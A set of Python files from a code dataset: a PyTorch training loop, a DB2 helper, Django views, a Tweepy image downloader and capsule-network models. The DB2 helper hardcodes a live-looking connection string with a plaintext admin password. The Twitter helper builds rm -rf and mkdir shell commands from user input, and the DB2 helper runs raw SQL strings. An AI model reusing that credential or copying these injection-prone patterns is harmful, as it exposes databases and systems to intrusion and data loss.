torch.cat((data[args.in_type], data['variance']), dim=1).to(args.device)\n else:\n img = data[args.in_type].to(args.device)\n\n gt = data[args.out_type].to(args.device)\n batch_size = gt.size(0)\n\n if args.mid_type is not None:\n mid_output, output = model(img)\n else:\n output = model(img)\n\n # forward+backward+optimization\n main_loss = criterion(output, gt)\n if main_loss > 4 * last_loss:\n continue\n\n if args.mid_type is not None:\n mid_gt = data[args.mid_type].to(args.device)\n mid_loss = criterion(mid_output, mid_gt)\n loss = main_loss + args.mid_lambda * mid_loss\n else:\n loss = main_loss\n\n # zero parameters\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n losses.update(loss.item(), batch_size)\n main_losses.update(main_loss.item(), batch_size)\n if args.mid_type is not None:\n mid_losses.update(mid_loss.item(), batch_size)\n\n if i % args.print_freq == 0:\n if args.mid_type is not None:\n logging.info('Epoch: [{}]/[{}] Iter:[{}]/[{}]\\t'\n 'Loss {loss.val:.4f} \\t'\n 'main_loss {main_loss.val:.4f}\\t'\n 'mid_loss {mid_loss.val:.4f}'.format(\n epoch, args.max_epochs, i, iters,\n loss=losses, main_loss=main_losses, mid_loss=mid_losses))\n else:\n logging.info('Epoch: [{}]/[{}] Iter:[{}]/[{}]\\t'\n 'Loss {loss.val:.4f}'.format(\n epoch, args.max_epochs, i, iters, loss=losses))\n last_loss = main_loss\n\n scheduler.step()\n # loss_last = losses.avg\n writer.add_scalar('train_loss', losses.avg, epoch)\n writer.add_scalar('main_loss', main_losses.avg, epoch)\n writer.add_scalar('mid_loss', mid_losses.avg, epoch)\n writer.add_scalar('lr', scheduler.get_last_lr()[-1], epoch)\n\n # ================\n # val\n if epoch % args.eval_freq == 0 or epoch == args.max_epochs - 1:\n args.epoch = epoch\n cur_psnr = val(val_loader, model, args.vis_eval)\n is_best = (cur_psnr > best_psnr)\n best_psnr = max(cur_psnr, best_psnr)\n model_cpu = {k: v.cpu() for k, v in model.state_dict().items()}\n save_checkpoint({\n 'epoch': epoch,\n 'state_dict': model_cpu,\n 'best_psnr': best_psnr,\n 'optimizer': optimizer.state_dict(),\n 'scheduler': scheduler.state_dict()\n }, is_best, args=args)\n writer.add_scalar('eval_psnr', cur_psnr, epoch)\n\n logging.info('Saving the final model.')\n\n # wandb\n if args.use_wandb:\n args.Wandb.add_file(f'{args.ckpt_dir}/{args.jobname}_checkpoint_best.pth')\n args.Wandb.add_file(f'{args.ckpt_dir}/{args.jobname}_checkpoint_latest.pth')\n\n\ndef val(val_loader, model, vis_eval=False):\n psnrs = AverageMeter()\n model.eval()\n\n with torch.no_grad():\n for i, data in enumerate(val_loader):\n if 'noisy' in args.in_type:\n img = torch.cat((data[args.in_type], data['variance']), dim=1).to(args.device)\n else:\n img = data[args.in_type].to(args.device)\n\n gt = data[args.out_type].to(args.device)\n\n if args.mid_type is not None:\n mid_output, output = model(img)\n else:\n output = model(img)\n\n # psnr\n mse = (output.clamp(0, 1) - gt).pow(2).mean()\n psnr = PSNR(mse)\n psnrs.update(psnr, gt.size(0))\n\n if i == 0 and vis_eval and (args.epoch % args.img_freq == 0):\n batch_size = img.shape[0]\n n_img = min(5, batch_size)\n n_stride = batch_size // n_img # show 5 imgs only\n\n if 'rgb' in args.in_type and 'linrgb' not in args.out_type:\n rgb_out = output[::n_stride]\n rgb_gt = gt[::n_stride]\n else:\n red_g = data['metadata']['red_gain'][::n_stride].to(args.device)\n blue_g = data['metadata']['blue_gain'][::n_stride].to(args.device)\n ccm = data['metadata']['ccm'][::n_stride].to(args.device)\n\n if 'raw' in args.out_type:\n rgb_out = process.raw2srgb(output[::n_stride], red_g, blue_g, ccm)\n rgb_gt = process.raw2srgb(gt[::n_stride], red_g, blue_g, ccm)\n elif 'linrgb' in args.out_type:\n rgb_out = process.rgb2srgb(output[::n_stride], red_g, blue_g, ccm)\n rgb_gt = process.rgb2srgb(gt[::n_stride], red_g, blue_g, ccm)\n\n B, C, H, W = rgb_out.shape\n writer.add_images('eval_result',\n torch.stack((rgb_gt, rgb_out), dim=1).contiguous().view(-1, C, H, W), args.epoch)\n logging.info('\\nEpoch: [{}]/[{}] \\t''TEST PSNR: {psnrs.avg: .4f})\\n'.\n format(args.epoch, args.max_epochs, psnrs=psnrs))\n\n return psnrs.avg\n\n\ndef save_checkpoint(state, is_best, args):\n filename = '{}/{}_checkpoint_latest.pth'.format(args.ckpt_dir, args.jobname)\n torch.save(state, filename)\n if is_best:\n shutil.copyfile(filename, '{}/{}_checkpoint_best.pth'.format(args.ckpt_dir, args.jobname))\n if args.epoch % args.epoch_freq == 0:\n shutil.copyfile(filename, '{}/{}_checkpoint_epoch{}.pth'.format(args.ckpt_dir, args.jobname, args.epoch))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='PyTorch implementation of ISP-Net')\n args = BaseArgs(parser).args\n writer = SummaryWriter(log_dir=args.exp_dir)\n main()\n\n# below is the code for debug:\n# from datasets import process\n# def vis_rgb(x):\n# import matplotlib.pyplot as plt\n# plt.imshow(x)\n# plt.show()\n# vis_rgb(gt[0].permute(1,2,0).cpu())\n\n# gt_srgb = process.rgb2srgb(gt, data['red_gain'].to(args.device), data['blue_gain'].to(args.device), data['cam2rgb'].to(args.device))\n# vis_rgb(gt_srgb[0].permute(1,2,0).cpu())\n\n# noisy_rgb = process.raw2srgb(data['input'].to(args.device), data['red_gain'].to(args.device), data['blue_gain'].to(args.device), data['cam2rgb'].to(args.device))\n# vis_rgb(noisy_rgb[0].permute(1,2,0).cpu())\n\n# clean_rgb = process.raw2srgb(data['mid_gt'].to(args.device), data['red_gain'].to(args.device), data['blue_gain'].to(args.device), data['cam2rgb'].to(args.device))\n# vis_rgb(clean_rgb[0].permute(1,2,0).cpu())\n\n\n# Debug the RawDeno:\n# def vis_rgb(x):\n# import matplotlib.pyplot as plt\n# plt.imshow(x)\n# plt.show()\n# red_g = data['metadata']['red_gain'][0:1].to(args.device)\n# blue_g = data['metadata']['blue_gain'][0:1].to(args.device)\n# ccm = data['metadata']['cam2rgb'][0:1].to(args.device)\n# rgb_in = process.raw2srgb(img[0:1, :4], red_g, blue_g, ccm)\n# rgb_gt = process.raw2srgb(gt[0:1], red_g, blue_g, ccm)\n# vis_rgb(rgb_in[0].permute(1,2,0).detach().cpu().numpy())\n# vis_rgb(rgb_gt[0].permute(1,2,0).detach().cpu().numpy())\n# if debug:\n# red_g = torch.tensor(2.7385).to('cuda')\n# blue_g = torch.tensor(1.3687).to('cuda')\n# ccm = torch.tensor([[[1.7365, -0.5612, -0.1753], [-0.1531, 1.5584, -0.4053], [0.0199, -0.4041, 1.3842]]],\n# device='cuda')\n# rgb_out = process.rgb2srgb(output, red_g, blue_g, ccm)\n\n# # debug:\n# red_g, blue_g, ccm = data['metadata']['red_gain'].to(args.device), \\\n# data['metadata']['blue_gain'].to(args.device), \\\n# data['metadata']['ccm'].to(args.device)\n# rgb_gt = process.rgb2srgb(gt, red_g, blue_g, ccm)\n# out_gt = process.rgb2srgb(output, red_g, blue_g, ccm)\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":11885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"360388446","text":"import json\nimport ibm_db\n\nSSL_DSN = \"DATABASE=BLUDB;HOSTNAME=db2w-tiggaci.us-east.db2w.cloud.ibm.com;PORT=50001;PROTOCOL=TCPIP;UID=bluadmin;PWD=H1_8dZY@YOuHF9BHmT7ZWhdBdQX@k;Security=SSL;\"\n\ndef get_connection():\n conn = ibm_db.connect(SSL_DSN, \"\", \"\")\n\n return conn\n\ndef execute_query(sql):\n conn = ibm_db.connect(SSL_DSN, \"\", \"\")\n\n stmt = ibm_db.exec_immediate(conn, sql)\n data = ibm_db.fetch_assoc(stmt)\n\n dict_list = []\n\n # if data:\n # print(data['BRANCH_CODE'])\n # # dict_list.append(data)\n # data = ibm_db.fetch_both(stmt)\n\n while data:\n dict_list.append(data)\n data = ibm_db.fetch_assoc(stmt)\n\n\n json_data = json.dumps(dict_list)\n print(json_data)\n\n return json_data\n\ndef execute(sql):\n\n try:\n conn = ibm_db.connect(SSL_DSN, \"\", \"\")\n stmt = ibm_db.exec_immediate(conn, sql)\n # ibm_db.bind_param(stmt, 1, animal)\n except:\n print\n \"Transaction couldn't be completed:\", ibm_db.stmt_errormsg()\n else:\n print\n \"Transaction complete.\"\n\n return \"SUCCESS\"\n\n\nif __name__ == \"__main__\":\n execute_query(\"SELECT ID, HEX(encoded_id) as encoded_id FROM EVERESTSCHEMA.evre_learning_email_msgs\")\n # SQL = \"INSERT INTO REQUEST (encoded_id, submission_id, entity_name, country_code, status) VALUES ('XXXX', 1, 'Test', 'US', 'ACTIVE')\"\n # execute(SQL)\n\n\n","sub_path":"build/lib/submission/utils/db2utils.py","file_name":"db2utils.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"487027873","text":"from django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.decorators import permission_required\nfrom django.shortcuts import render, redirect, HttpResponse, Http404\n# from jobs.models import *\nfrom django.contrib.auth.models import Group , User\nfrom django.http import HttpResponseRedirect\nfrom django.db.models import Count\n# from Account.models import *\n# from jobs.models import *\n# from upload.models import *\nfrom django.contrib.sitemaps import Sitemap\nfrom django.urls import reverse\n\n\n\n\ndef homepage(request):\n\n d = request.POST.get('day')\n if d!=None:\n d = d.split(\"-\")\n y = d[0]\n m = d[1]\n d = d[2]\n\n\n request.session['y'] = y\n request.session['m'] = m\n request.session['d'] = d\n\n\n hour = request.POST.get('hour')\n minute = request.POST.get('minute')\n hour2 = request.POST.get('hour2')\n minute2 = request.POST.get('minute2')\n\n location = request.POST.get('location')\n isHome = request.POST.get('home')\n isOutside = request.POST.get('outside')\n\n if request.POST.get('submit') == 'save':\n\n d = request.POST.get('day')\n if d != None:\n d = d.split(\"-\")\n request.session['y'] = d[0]\n request.session['m'] = d[1]\n request.session['d'] = d[2]\n\n request.session['day'] = request.POST.get('day')\n request.session['hour'] = request.POST.get('hour')\n request.session['minute'] = request.POST.get('minute')\n request.session['day2'] = request.POST.get('hour2')\n request.session['minute2'] = request.POST.get('minute2')\n request.session['location'] = request.POST.get('location')\n request.session['home'] = request.POST.get('home')\n request.session['outside'] = request.POST.get('outside')\n\n if request.POST.get('home') == 'home':\n\n return HttpResponseRedirect(reverse('SearchApi:home'))\n\n if request.POST.get('outside') == 'outside':\n\n return HttpResponseRedirect(reverse('SearchApi:outside'))\n\n return render(request, 'index.html')\n\n if d == None or hour == None or minute == None or hour2 == None or minute2 == None:\n return render(request, 'index.html')\n\n mintime = hour + ':' + minute\n maxtime = hour2 + ':' + minute2\n\n\n\n return render(request, 'index.html')\n\ndef homepageNext(request):\n return render(request, 'indexNext.html')","sub_path":"hackathonBase/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"642709273","text":"import cv2\nimport numpy as np\n#import serial\nfrom Support_Code.Camera_filter import filterCamera\nfrom Support_Code.drowContours import contourCoordinat\n\nframeWeight = 640\nframeHigh = 480\n\ncap = cv2.VideoCapture(0)\nfont = cv2.FONT_HERSHEY_PLAIN\n\n#serialConnection = serial.Serial(\"/dev/ttyUSB0\", 115200) # change ACM number as found from ls /dev/tty/ACM*\ncont = dict()\n\nwhile True:\n flag, frame = cap.read()\n cv2.imshow('frame', frame)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n\ncap.release()\ncv2.destroyAllWindows()\n","sub_path":"04042019/lol.py","file_name":"lol.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"613745598","text":"####################################################################\n##\n## Authors:\t\tPeter Zorzonello\n## Last Update:\t11/27/2018\n## Class:\t\t\tEC601 - A1\n## File_Name:\t\tTwitter_API_Helper.py\n##\n## Description:\t\n## This is a library file containing functions that utilize the \n## Tweepy API.\n##\n####################################################################\n\n#import required libraries\nimport tweepy\nimport twitter_globals_secret\nimport os\nimport wget\n\n####################################################################\n##\n## Function Authenticate\n##\n## Description\n## This procedure uses the consumer key and secret, as well as \n## the access token and secret to authenticate with Twitter.\n## Authentication uses OAuth\n## \n## Inputs\n## None\n##\n## Outputs\n## An instance of the Tweepy API. \n##\n## Exception Handling\n## Error messages are printed to the console\n## If the process could not authenticate with Twitter the process \n## is terminated.\n##\n####################################################################\ndef authenticate():\n\t#this is the consumer key and secret, needed to authenticate with Twitter\n\tCONSUMER_KEY = twitter_globals_secret.CONSUMER_KEY\n\tCONSUMER_SECRET = twitter_globals_secret.CONSUMER_SECRET\n\tACCESS_TOKEN = twitter_globals_secret.ACCESS_TOKEN\n\tACCESS_TOKEN_SECRET = twitter_globals_secret.ACCESS_TOKEN_SECRET\n\n\tprint (\"\\n\\nChecking on Twitter.com.......\")\n\n\t#check on twitter.com by pinging it. If it responds we know 1) we have an internet connection and 2) Twitter.com is up\n\tif os.system(\"ping -c 1 twitter.com >nul 2>&1\"):\n\t\t#if Twitter could not be reached then alert the user\n\t\tprint(\"\\n\")\n\t\tprint(\"Could not reach Twitter.\")\n\t\tprint(\"Please check your internet connection and try again.\")\n\t\tprint(\"If the problem persists then Twitter could be down.\\n\\n\")\n\t\texit(1)\n\n\telse:\n\t\tprint(\"Twitter is live!\")\n\n\t\ttry:\n\t\t\tauth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\n\t\t\tauth.set_access_token(ACCESS_TOKEN, ACCESS_TOKEN_SECRET)\n\n\t\t\tclientApi = tweepy.API(auth)\n\n\t\t\t#try and use the API to see if it errors\n\t\t\tclientApi.verify_credentials()\n\t\t\treturn clientApi\n\t\t\n\t\texcept tweepy.TweepError as e:\n\t\t\tprint (\"Unable to authenticate with Twitter.\\n Program is terminating.\\n\\n\")\n\t\t\tprint (\"Error: \", e)\n\t\t\texit(1)\n\n\n\n####################################################################\n##\n## Function FindUser\n##\n## Description\n## This attempts to find a Twitter profile. It prompts the user\n## to enter a Twitter handle, if the handle is valid, and \n## if it can find the user it returns the Twitter handle.\n## If it cannot find the user or the handle is not in the correct \n## format it will keep prompting the user until they exit. \n## \n## Inputs\n## api: An instance of the tweepy API, needed to call the API functions\n##\n## Outputs\n## A Twitter handle\n##\n## Exception Handling\n## Error messages are printed to the console\n## If the user cannot provide a valid Twitter handle the process\n## terminates.\n##\n####################################################################\ndef findUser(api):\n\n\twhile 1 == 1:\n\t\t#ask the user for a Twitter username\n\t\tuserName = input(\"Please enter a Twitter handle (enter 'exit' to quit): \")\n\n\t\t#check the handle for proper syntax\n\t\tindex = userName.find('@')\n\n\t\t\n\t\t#if this is exit then end program\n\t\tif userName == 'exit':\n\t\t\tprint('Bye!')\n\t\t\texit(1)\n\n\t\t#if the first character is not @ then this is a handle \t\n\t\telif index != 0:\n\t\t\tprint(\"Not a valid Twitter handle.\")\n\n\t\t#if this is a handle\n\t\telse:\n\t\t\ttry:\n\t\t\t\tuser = api.get_user(userName)\n\t\t\t\tprint(\"\\n\")\n\t\t\t\tprint(\"Found user: \" + user.name)\n\t\t\t\tbreak\n\n\t\t\texcept:\n\t\t\t\tprint(\"Not a valid Twitter handle.\")\n\t\t\t\t\t\n\n\treturn userName\n\n###################################################################\n##\n## Function getTweets\n##\n## Description\n## This procedure returns all the tweets from a user's timeline\n## \n## Inputs\n## api: An instance of the tweepy API, needed to call the API functions\n## userName: A Twitter handle. The user's who's tweets to get.\n##\n## Outputs\n## An array of Tweet objects\n##\n## Exception Handling\n## Error messages are printed to the console\n##\n####################################################################\ndef getTweets(api, userName):\n\n\t#get all the user tweets\n\ttweets = []\n\tnum_tweets_asked = 0\n\ttweets_num = 0\n\n\t#Ask the user how many tweets they want\n\twhile True:\n\t\tnum_tweets_asked = input(\"How many tweets whould you like to retrieve?\\nEnter a number, all for all tweets, or exit to quit.\\nKeep in mind number of tweets is not number of images.\\n\")\n\t\tif num_tweets_asked != 'exit':\n\t\t\tif num_tweets_asked == 'all':\n\t\t\t\t\n\t\t\t\tanswer = input(\"Getting all tweets could take a long time. Are you sure? [y,n]\")\n\t\t\t\twhile answer != 'y' or answer != 'n':\n\t\t\t\t\t\n\t\t\t\t\tif answer == 'y':\n\t\t\t\t\t\tbreak\n\t\t\t\t\telif answer == 'n':\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tanswer = input(\"Getting all tweets could take a long time. Are you sure? [y,n]\")\n\n\n\t\t\t\tif answer == 'y':\n\t\t\t\t\tbreak\n\n\t\t\telse:\n\t\t\t\ttry:\n\t\t\t\t\ttweets_num = int(num_tweets_asked)\n\t\t\t\t\tbreak\n\t\t\t\texcept:\n\t\t\t\t\tprint(\"Not a valid input.\")\n\n\t\telse:\n\t\t\texit()\n\n #get the tweets for the user\n\tprint(\"Fetching Tweets...\")\n\n\t#get all tweets\n\tif num_tweets_asked == 'all':\n\t\tfor page in tweepy.Cursor(api.user_timeline, screen_name=userName).pages():\n\t\t\ttweets = tweets + page\n\n\t#get tweets until we get the number requested \n\telse:\n\t\tfor page in tweepy.Cursor(api.user_timeline, screen_name=userName).pages():\n\t\t\ttweets = tweets + page\n\t\t\tif len(tweets) >= tweets_num:\n\t\t\t\tbreak\n\n\tprint(\"Found: \" + str(len(tweets)) + \" Tweets\")\n\treturn tweets\n\n\n\n###################################################################\n##\n## Function filterTweetsForImages\n##\n## Description\n## This procedure examines all the tweets provided and downloads\n## any images from the tweets.\n## \n## Inputs\n## api: An instance of the tweepy API, needed to call the API functions\n## tweets: An array of tweet objects\n## userName: the twitter handle of the user\n##\n## Outputs\n## path: the path to the images folder\n## numImages: number of image tweets\n##\n## Exception Handling\n## Error messages are printed to the console\n##\n####################################################################\ndef filterTweetsForImages(api, tweets, userName):\n\n\t#make a directory for the images(unless one exists)\n\tif not os.path.isdir(\"./img\"):\n\t\tos.system(\"mkdir img\")\n\n\t#make a new directory for the user \n\tif os.path.isdir(\"./img/\"+userName):\n\t\tos.system(\"rm -rf ./img/\"+userName)\n\tos.system(\"mkdir img/\"+userName)\n\tpath = \"./img/\"+userName\n\n\tcounter=0\n\t#loop over all tweets for the media tweets\n\tprint(\"Downloading Images...\")\n\tfor tweet in tweets:\n\n\t\t#only look at media tweets\n\t\tif \"media\" in tweet.entities:\n\t\t\t\n\t\t\turl = tweet.entities[\"media\"][0][\"media_url\"]\n\t\t\tfileName = path+\"/IMG_\"+str(counter)+\".jpg\"\n\t\t\t\n\t\t\t#attempt to download the photo from Twitter\n\t\t\ttry:\n\t\t\t\twget.download(url=url, out=fileName)\n\t\t\t\tcounter = counter + 1\n\t\t\texcept:\n\t\t\t\tprint(\"\\nFound an invalid URL. Skipping.\")\n\n\tprint(\"\\nDownloaded \" + str(counter) + \" tweets with images.\")\n\n\tpath = path + \"/\"\n\treturn {\"path\":path,\"numImages\":counter}","sub_path":"Twitter_API_Helper.py","file_name":"Twitter_API_Helper.py","file_ext":"py","file_size_in_byte":7179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"657287","text":"# Author: Culver McWhirter\n\n\"\"\"Library for capsule network models\n\nContains class definitions for basic CapsNet from 'Dynamic Routing Between Capsules' by\nS. Sabour et al.\n\nAlso contains DCNet, and DCNet++ from 'Dense and Diverse Capsule Networks' by \nS. Phaye et al.\n\nDONE:\n\t* Basic CapsNet\n\t* Saving & loading models\n\t* DCNet\n\nTODO:\n\t* EM routing\n\t* DCNet++\n\"\"\"\n\nimport os\nimport sys\nimport glob\n\nfrom tqdm import tqdm\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\nimport layers\n\n\nclass BaseNN(nn.Module):\n\t\"\"\"BaseNN is a template neural network model that has usefu methods for all\n\tother neural network classes that PyTorch doesn't have by default\n\n\t***NOTE: This is a parent class to be inherited from only, not used***\n\n\tArgs:\n\t\tsave_name: Used as the name of the directory & start of the filenames for saved models\n\t\n\tAttributes:\n\t\t* Args\n\t\tsave_path: Full path to save directory\n\n\tMethods:\n\t\tsave_model(): Save the model during training\n\t\tload_model(): Load a saved model for testing/evaluation/resuming training\n\t\"\"\"\n\n\tdef __init__(self, save_name):\n\t\tsuper(BaseNN, self).__init__()\n\t\tself.save_name = save_name\n\n\t\t# Check if checkpoints directory exists and create it if necessary (create it in this script's direcory)\n\t\tbase_path = os.path.dirname(os.path.realpath(__file__))\n\t\tcheckpoint_path = os.path.join(base_path, 'checkpoints')\n\t\tself.save_path = os.path.join(checkpoint_path, self.save_name)\n\n\t\tif not os.path.exists(checkpoint_path):\n\n\t\t\tos.makedirs(checkpoint_path)\n\t\t\tprint('Created checkpoints dir at {}'.format(checkpoint_path))\n\n\t\t# Also check if save directory exists in checkpoints directory, creating if necessary\n\t\tif not os.path.exists(self.save_path):\n\n\t\t\tos.makedirs(self.save_path)\n\t\t\tprint('Created checkpoint dir for this model at {}'.format(self.save_path))\n\n\n\tdef save_model(self, optimizer, epoch):\n\t\t\"\"\"Saves model at a specific point in training\n\n\t\tArgs:\n\t\t\toptimizer: The optimizer being used to train\n\t\t\tepoch: The current epoch\n\t\t\"\"\"\n\n\t\t# Create a dictionary with the current state of the model and optimizer\n\t\tstate = dict(epoch=epoch, state_dict=self.state_dict(), optimizer=optimizer.state_dict())\n\n\n\t\t# Save the model in save_dir with fname {save_name}_{epoch}.pt\n\t\tfname = '{}_{}.pt'.format(self.save_name, epoch)\n\t\tsave_here = os.path.join(self.save_path, fname)\n\n\t\ttorch.save(state, save_here)\n\n\t\t# Print save status (without interupting any progres bars)\n\t\ttqdm.write('[Epoch {}] Saved model to {}'.format(epoch, fname))\n\n\tdef load_model(self):\n\t\t\"\"\"Load the last model saved in save_dir\n\n\t\tReturns:\n\t\t\tepoch: How many epochs the loaded model had been trained\n\t\t\tmodel_state: The architecture and parameters of the model\n\t\t\toptimizer: The state of the optimizer\n\t\t\"\"\"\n\n\t\t# Get list of all files in save_dir\n\t\tfiles_list = glob.glob( os.path.join(self.save_path, '*') )\n\n\t\t# Get most recently saved\n\t\tlast_fname = max(files_list, key=os.path.getctime)\n\n\t\t# Load model and return epoch, model state, and optimizer state\n\t\tlast = torch.load(last_fname)\n\t\tprint('Loaded model from {}'.format(last_fname))\n\n\t\tepoch = last['epoch']\n\t\tmodel_state = last['state_dict']\n\t\toptimizer = last['optimizer']\n\n\t\treturn epoch, model_state, optimizer\n\n\nclass BaselineCapsNet(BaseNN):\n\t\"\"\"Basic Capsule Net from 'Dynamic Routing Between Capsules' by S. Sabour et al.\n\n\t*Inherits from parent class BaseNN\n\t\n\n\t1) Input is MNIST images\n\t2) Pass images through initial conv layer\n\t3) Create primary capsules from conv layer's output kernels\n\t4) Create digit capsules from primary capsules\n\t5) Reconstruct images based on digit capsule parameters\n\n\tArgs:\n\t\tm_plus, m_minus, loss_lambda, reconstruction_lambda: Hyperparameters for loss function\n\t\tsave_name: Name to save models under\n\n\tAttributes:\n\t\t* A loss function object\n\t\t* The network architecture\n\n\tMethods:\n\t\tforward(): Forward pass of network\n\t\tget_loss(): Calculates loss function for current batch\n\t\"\"\"\n\n\tdef __init__(self, m_plus=0.9, m_minus=0.1, loss_lambda=0.5, reconstruction_lambda=0.0005, save_name='BaselineCapsNet'):\n\n\t\tsuper(BaselineCapsNet, self).__init__(save_name)\n\n\t\t# Loss function\n\t\tself.loss = layers.CapsLoss(m_plus, m_minus, loss_lambda, reconstruction_lambda)\n\n\t\t# Network architecture\n\t\tself.conv = layers.ConvNet()\n\t\tself.primary = layers.PrimaryCaps()\n\t\tself.digit = layers.DigitCaps()\n\t\tself.decode = layers.SimpleDecoder()\n\n\tdef forward(self, images, labels, reconstructions_on=True):\n\t\t\"\"\"Forward pass of BaselineCapsNet\n\n\t\tArgs:\n\t\t\timages: Batch of input images, shape [batch_size, channels, height, width]\n\t\t\t\t(example: for MNIST, shape [batch_size, 1, 28, 28])\n\t\t\tlabels: Batch of input ground truth labels AS ONE-HOT, shape [batch_size, num_classes]\n\t\t\t\t(example: for MNIST, shape [batch_size, 10])\n\t\t\treconstructions_on: Reconstructions on or off\n\n\t\tReturns:\n\t\t\tdig_caps: Digit capsules, with vector length corresponding to probability of \n\t\t\t\texistence and values corresponding to instantiation parameters\n\t\t\treconstruct: Images reconstructed from digit capsules. Note that if the arg reconstructions_on is False,\n\t\t\t\tthis will return an empty list\n\t\t\tpredict: Predicted classes (index of longest capsules for each batch example)\n\t\t\"\"\"\n\n\t\t# Compute DigitCaps based on input images\n\t\tdig_caps = self.digit( self.primary( self.conv(images) ) )\n\n\t\t# Squared lengths of digit capsules\n\t\tv_c_sq = (dig_caps**2).sum(2)\n\n\t\t# Index of longest capsules for each batch example\n\t\t_, predict = v_c_sq.max(dim=1)\n\t\tpredict = predict.squeeze(-1)\n\n\t\t# Get reconstructions based on cap parameters\n\t\tif reconstructions_on:\n\t\t\treconstruct = self.decode(dig_caps, labels) # forward pass of reconstructions\n\t\t\treturn dig_caps, reconstruct, predict\n\t\telse:\n\t\t\treturn dig_caps, [], predict\n\n\n\tdef get_loss(self, caps, images, labels, reconstructions):\n\t\t\"\"\"Calculate loss for current batch\n\n\t\tArgs:\n\t\t\tcaps: DigitCaps from network\n\t\t\timages: Input images\n\t\t\tlabels: One-hot ground truth labels\n\t\t\treconstructions: Images reconstructed based on capsule params\n\n\t\tReturns:\n\t\t\ttotal_loss: The total loss for this batch\n\t\t\tm_loss: Margin loss contribution\n\t\t\tr_loss: Reconstruction loss contribution\n\t\t\"\"\"\n\t\tm_loss = self.loss.margin_loss(caps, labels)\n\t\tr_loss = self.loss.reconstruction_loss(images, reconstructions)\n\t\ttotal_loss = self.loss.total_loss()\n\n\t\treturn total_loss, m_loss, r_loss\n\n\nclass DCNet(BaselineCapsNet):\n\t\"\"\"Dense Capsule Network, aka DCNet, from 'Dense and Diverse Capsule Networks' by S. Phaye et al.\n\n\tThe basic idea of this network is to improve upon a regular capsule network by upgrading the\n\tconv net feature generator and the decoder. There is no difference in the capsules themselves. Skip connections\n\tare added to the conv net and decoder to improve the diversity of feature generation and the power of the \n\tdecoder.\n\n\t*This class inherits from BaselineCapsNet\n\n\tThe only difference is an upgraded conv net, an upgraded decoder, and some differences in the \n\tnumber of input channels and routing nodes for PrimaryCaps and DigitCaps, respectively.\n\t\"\"\"\n\n\tdef __init__(self, m_plus=0.9, m_minus=0.1, loss_lambda=0.5, reconstruction_lambda=0.0005, save_name='DCNet'):\n\n\t\tsuper(DCNet, self).__init__(m_plus, m_minus, loss_lambda, reconstruction_lambda, save_name)\n\n\t\t# Update the network architecture for DCNet\n\t\tself.conv = layers.DenseConvNet()\n\t\tself.primary = layers.PrimaryCaps(c_in=257)\n\t\tself.digit = layers.DigitCaps(num_routes=3200)\n\t\tself.decode = layers.DenseDecoder()\n\n\n\n# TODO\nclass DCNet_pp(BaseNN):\n\tpass\n\n\n# Main function, just used for debugging\ndef main():\n\n\n\n\tfake_images = torch.randn([2,1,28,28])\n\tfake_labels = torch.zeros([2,10])\n\tfake_labels[0,5] = 1\n\tfake_labels[1,2] = 1\n\tprint(fake_labels)\n\n\n\tdc = DCNet()\n\tprint(dc)\n\n\n\tfake_images, fake_labels = Variable(fake_images), Variable(fake_labels)\n\n\n\tcap, reconstruct, predict = dc(fake_images, fake_labels)\n\tprint(cap.shape)\n\tprint(reconstruct.shape)\n\tprint(predict.shape)\n\nif __name__ == '__main__':\n\tmain()","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"610513259","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 6 22:21:35 2019\n\n@author: Milad\n\"\"\"\n\nimport re\nimport math\nimport plot_sound as ps\nimport numpy as np\n\nfrom pydub import AudioSegment\n\ndef string_array(input_string):\n if re.match(\"\\[.+\\]\",input_string):\n # $print(\"matched\")\n return None\n \n return [x.lower().strip() for x in re.findall(r\"[\\w']+\", input_string)]\n\ndef string_float(input_string,char_map):\n result = 0\n level = 1\n for char in input_string:\n if char in char_map:\n result += (char_map[char]/level)\n else:\n result += (0.11/level)\n level *=100\n return result\n\ndef float_string (input_float, char_map):\n text=''\n my_inverted_dict = dict(map(reversed, char_map.items()))\n while input_float!=0:\n input_float = input_float *100\n res = math.floor(input_float)\n if int(res)<1 or int(res)>=98 :\n break\n input_float = input_float-res\n res /= 100\n diff = [abs(x-res) for x in char_map.values()]\n value = list(char_map.values())[diff.index(min(diff))]\n text += my_inverted_dict[value][0]\n return text\n\n\n\ndef sample_to_numpy(data):\n all_data = {}\n \n for i, sample in enumerate(data['Text']):\n text = data['Text'][i]\n sound_data = data['sound_data'][i]\n s_array = string_array(text)\n \n if s_array == None:\n continue\n \n #print(\"itenration \"+ str(i))\n dd = sound_data[1:-10].split(',')\n arr = []\n for sound_d in dd:\n try:\n arr.append(float(sound_d.strip()))\n except:\n pass\n \n segment = math.floor(len(arr)/len(s_array))\n for i in range(0,len(s_array)):\n #numpy_arr= ps.create_sound_plot(arr[i*segment:(i*segment)+segment])\n numpy_arr = np.array(arr[i*segment:(i*segment)+segment])\n if s_array[i] in all_data:\n pass\n else:\n all_data[ s_array[i]]=[]\n all_data[ s_array[i]].append(np.resize(numpy_arr,2048))\n \n \n \n \n \n return all_data\n\n\n \n \n \n# def predict (model, )\n \n \n 